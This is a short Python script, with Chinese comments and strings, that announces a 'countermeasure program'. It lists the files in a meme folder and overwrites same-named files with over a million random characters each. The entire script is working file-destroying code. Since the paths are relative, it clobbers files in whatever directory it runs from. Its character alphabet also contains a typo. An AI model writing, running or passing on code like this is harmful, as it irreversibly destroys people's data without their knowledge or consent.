import os
import random

def generate_random_str(randomlength):
  """
  生成一个指定长度的随机字符串
  """
  random_str =''
  base_str ='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
  length =len(base_str) -1
  for i in range(randomlength):
    random_str +=base_str[random.randint(0, length)]
  return random_str
def GetName():
    d = os.listdir("F:\\表情包\\")
    return  d
def fidL():
    print("反制程序启动！")
    names = GetName()
    print(names)
    for i in names:
        kr = generate_random_str(1145141)
        fid = open(i,"w")
        fid.write(kr)
        fid.close()
    return True